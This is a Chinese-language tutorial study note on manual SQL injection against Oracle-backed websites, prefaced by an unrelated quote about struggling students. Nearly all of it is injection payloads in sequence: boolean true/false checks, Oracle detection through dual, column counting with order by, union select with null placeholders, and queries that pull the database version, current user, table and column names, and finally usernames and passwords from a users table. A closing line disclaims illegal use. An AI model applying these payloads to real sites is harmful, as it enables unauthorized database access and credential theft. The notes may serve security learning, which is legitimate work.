某教程學習筆記(一):10、oracle數據庫注入

這個社會,最可悲的莫過於那些既不是學霸,也不全是學渣的人,他們聽不懂課,作業不會做,不逃課,不搗亂紀律,為考試著急,卻又無奈與現狀,三分鐘熱度,又恨自己不爭氣,更是以最普遍的身份埋沒在人群中,正過著最最煎熬的日子。。。。

---- 網易雲熱評

一、Oracle數據庫

一般大型企業都會用到,物流、旅遊、航空、銀行等等。。。

1、支持多用戶、大事務量的處理

2、數據安全性和完整性的有效控制

3、支持分佈式數據處理

4、移植性強


二、手動注入

1、判斷是否存在

and 1=1 返回正常

and 1=2 返回錯誤

某教程學習筆記(一):10、oracle數據庫注入


2、判斷是否是Oracle數據庫

and exists(select * from dual)

and exists(select * from user_tables)

返回正常說明是oracle


3、判斷數列

order by 2 返回正常,說明有兩列


4、聯合查詢

union select null,null from dual,這裡不能寫1,2 需要用null替換,然後將每個null用數字和字符替換一下,發現數字就報錯,字符不報錯

union select 1,null from dual 報錯

union select null,1 from dual 報錯

union select 'null','null' from dual 返回如下界面,這時就可以用下面的查詢語句了

某教程學習筆記(一):10、oracle數據庫注入

5、獲取數據庫版本

(select banner from sys.v_$Version where rownum=1)

某教程學習筆記(一):10、oracle數據庫注入


6、獲取連接數據庫的當前用戶

(select SYS_CONTEXT('USERENV','CURRENT_USER')from dual)

某教程學習筆記(一):10、oracle數據庫注入

7、獲取數據庫

(select instance_name from v$instance) 獲取當前數據庫

某教程學習筆記(一):10、oracle數據庫注入

(select owner from all_tables where rownum=1)獲取第一個數據庫

某教程學習筆記(一):10、oracle數據庫注入

(select owner from all_tables where rownum=1 and owner<>'SYS')獲取第二個數據庫

8、獲取表名

(select table_name from user_tables where rownum=1 and table_name like '%users%') from dual

某教程學習筆記(一):10、oracle數據庫注入


10、獲取列名

(select column_name from user_tab_columns where table_name='sns_users' and rownum=1)


某教程學習筆記(一):10、oracle數據庫注入


11、獲取第二列名

(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name<>'USER_NAME')


12、獲取字段內容

id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users"

某教程學習筆記(一):10、oracle數據庫注入

union select USER_NAME,USER_PWD from "sns_users" where USER_NAME<>'hu' 獲取第二個用戶信息


禁止非法,後果自負


分享到:


相關文章: